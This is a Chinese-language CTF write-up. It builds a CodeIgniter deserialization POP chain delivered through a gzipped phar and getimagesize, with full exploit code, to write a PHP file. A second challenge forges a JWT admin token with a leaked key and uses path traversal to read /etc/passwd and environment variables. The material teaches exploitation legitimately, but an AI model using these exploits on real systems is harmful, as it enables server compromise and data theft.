题目给了源码,本地搭建一下。

框架是CodeIgniter。需要开几个php拓展,用phpstudy直接开就行。网站->管理->php拓展 redis和intl。

拿到源码先看路由

首先看到的是Upload路由,它接收了一个文件,file_get_contents读出了这个文件,并过滤。所以文件内容不能含有HALT_COMPILER需要bypass。第二个过滤告诉我们白名单是什么。

这里其实很容易想到phar反序列化。

再来看一下Check路由

发现使用了getimagesize且参数可控。getimagesize函数是可以触发反序列化的。

因此我们开始着手挖掘pop链。

搜索__destruct发现这里的redis可控,可以触发任意类的close。

于是我们全局搜索close

发现了这个close。当$this->redis存在时,try内的东西抛出错误的时候,就会进入catch方法。

这里的$this->redis就需要用到我们的php拓展 redis中的类了。

关于这里,logger是可控的,于是可以调用任意类的error

找到了这个类,调用了log

看下这个log方法。

重点在这里。这些handlerConfig都是可控的,因此$className和$config也都是可控的所以说$this->handlers[$className]就可控,进一步,$handler也是可控的。

查询一下发现只有一个地方调用了setDateFormat

它会给handler类的dateFormat属性赋值。可以赋任意值。

然后就是调用了handler类的handle方法。

找到FileHandler类中的handle方法

仔细观察发现可以写文件

尝试构造。

先自己写一个类

namespace App\Controllers;
class User extends BaseController{    public function index(){        return unserialize($_GET['ser']);;    }}

然后开始构造EXP:

namespace CodeIgniter\Session\Handlers{
    class RedisHandler{        protected $redis;        protected $logger;
        public function __construct($logger,$redis){            $this->logger=$logger;            $this->redis = $redis;        }    }}
namespace CodeIgniter\Cache\Handlers{    class RedisHandler{        protected $redis;        public function __construct($redis){            $this->redis=$redis;        }    }}
namespace CodeIgniter\Log{    class Logger{    }}
namespace {    $c=new CodeIgniter\Log\Logger();    $b=new CodeIgniter\Session\Handlers\RedisHandler($c,new redis());    $a=new CodeIgniter\Cache\Handlers\RedisHandler($b);    echo urlencode(serialize($a));}

首先第一步,构造前几个类。前几个类还是比较容易构造的。

来仔细研究一下Logger类的参数该如何构造。

为了防止出错我们先把所有的参数复制过来,然后再修改。

protected $logLevels = [            'emergency' => 1,            'alert'     => 2,            'critical'  => 3,            'error'     => 4,            'warning'   => 5,            'notice'    => 6,            'info'      => 7,            'debug'     => 8,        ];        protected $loggableLevels = [];        protected $filePermissions = 0644;        protected $dateFormat = 'Y-m-d H:i:s';        protected $fileExt;        protected $handlers = [];        protected $handlerConfig = [];        public $logCache;        protected $cacheLogs = false;

首先需要修改的就是$handlerConfig因为它影响了我们的$handler赋值

键名为类名,值为类的实际参数,我们看一下我们要用的FileHandler类有哪些参数。然后把这些参数填入$config

现在是这样子的

protected $logLevels = [            'emergency' => 1,            'alert'     => 2,            'critical'  => 3,            'error'     => 4,            'warning'   => 5,            'notice'    => 6,            'info'      => 7,            'debug'     => 8,        ];        protected $loggableLevels = [];        protected $filePermissions = 0644;        protected $dateFormat = 'Y-m-d H:i:s';        protected $fileExt;        protected $handlers = [];        protected $handlerConfig = [            'CodeIgniter\Log\Handlers\FileHandler'=>[            "path"=>"aa",            "fileExtension"=>"php",            "filePermissions"=>"aa"        ]];        public $logCache;        protected $cacheLogs = false;

然后尝试反序列化,调试。

打进去单步调试,前几步没有太大问题

到log这里就出现问题了,我们看下问题出现在哪里。

经过调试发现,这个地方返回了true也就是说会直接出去。因此我们想办法让他过这个地方

in_array是检查数组中师傅含有该值,此时$level的值为

因此我们给$this->loggableLevels赋值。

把可用的都加上。

经过调试发现这里会直接进入continue,不会进入下面。想办法改一下。

进入BaseHandler查看

只要让它返回true就好了。

此时level为error,只要给handlers赋值就可以了。

那我们继续赋值

这样,就可以过这个地方了。

进入handle方法,且参数都是我们控制的。

但是这里有个waf,当后缀是php的时候,那么就会产生一个”死亡exit”

这里的$date会被写入,也就是dateFormat它也是我们可控的。

因此第一次我们写入的东西就是这样子的

这里加入了死亡exit,dateFormat的东西被写进来了。

因此再次更改exp。

如果直接写php的话,h会被date解析成小时,会变成这样,于是就需要转义符

protected $handlerConfig = [            'CodeIgniter\Log\Handlers\FileHandler'=>[                'handles' => ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'],                "path"=>"uploads/",                "fileExtension"=>"a.php",                "filePermissions"=>"aa"        ]];

绕过死亡exit让后缀不为php就行,我们让他成为a.php

ok成功写入。

链子已打通,尝试构造phar。

把php.ini的readonly关闭

生成phar上传

不出所料,被过滤了,原因是phar中含有HALT_COMPILER那么 如何绕过?

我们把这个phar拿去gzip一下

gzip phar.jpg

就可以绕过检测。

index.php/Check?file=phar://uploads/phar.jpg/test.txt

触发

发现这里写子目录好像不太行,给他改成绝对路径,因为本地测试和phar进入还是有点不一样的

最终exp

namespace CodeIgniter\Session\Handlers{
    class RedisHandler{        protected $redis;        protected $logger;
        public function __construct($logger,$redis){            $this->logger=$logger;            $this->redis = $redis;        }    }}
namespace CodeIgniter\Cache\Handlers{    class RedisHandler{        protected $redis;        public function __construct($redis){            $this->redis=$redis;        }    }}
namespace CodeIgniter\Log{    class Logger{        protected $logLevels = [            'emergency' => 1,            'alert'     => 2,            'critical'  => 3,            'error'     => 4,            'warning'   => 5,            'notice'    => 6,            'info'      => 7,            'debug'     => 8,        ];        protected $loggableLevels = ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'];        protected $filePermissions = 0644;        protected $dateFormat = 'Y-m-d H:i:s';        protected $fileExt;        protected $handlers = [];        protected $handlerConfig = [            'CodeIgniter\Log\Handlers\FileHandler'=>[                'handles' => ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'],                "path"=>"C:\Users\Yang_99\Desktop\bluehat\ImageCheck_cada3f80864345f87ae335e4888826eb\public\uploads",                "fileExtension"=>"bbb.php",                "filePermissions"=>"aa"        ]];        public $logCache;        protected $cacheLogs = false;    }}
namespace {    $c=new CodeIgniter\Log\Logger();    $b=new CodeIgniter\Session\Handlers\RedisHandler($c,new redis());    $a=new CodeIgniter\Cache\Handlers\RedisHandler($b);    echo urlencode(serialize($a));    @unlink("phar.phar");    $phar = new Phar("phar.phar"); //后缀名必须为phar    $phar->startBuffering();    $phar->setStub(""); //设置stub    $phar->setMetadata($a); //将自定义的meta-data存入manifest    $phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算    $phar->stopBuffering();
}

editjs

这道题打开根据提示发现了JWT token

http://eci-2ze44hd5fno9nykys6w3.cloudeci1.ichunqiu.com:8888/getfile?filename=/env/secret.key

发现token

K3yy

使用jwt token进行伪造

脚本

import jwtimport time
# payloadtoken_dict = {  "data": "admin",  "iat": int(time.time()),  # "iat": 1629784832 ,  "exp": int(time.time())+1800  # "exp": 1629786632}
# headersheaders = {  "alg": "HS256",  "typ": "JWT"}print()jwt_token = jwt.encode(token_dict,  # payload, 有效载体                     key='K3yy',                       headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)                        algorithm="HS256",  # 指明签名算法方式, 默认也是HS256                       )print(jwt_token)

如果没有库可以按照Pyjwt

得到token就可以读文件了

这样可以读取到源码。根据源码进行审计

发现这里使用了拼接。尝试目录穿越读取

发现可以读到/etc/passwd

注释里说flag在环境变量,于是读一下环境变量,就出了

该是非预期了,预期解是GKCTF2021-easy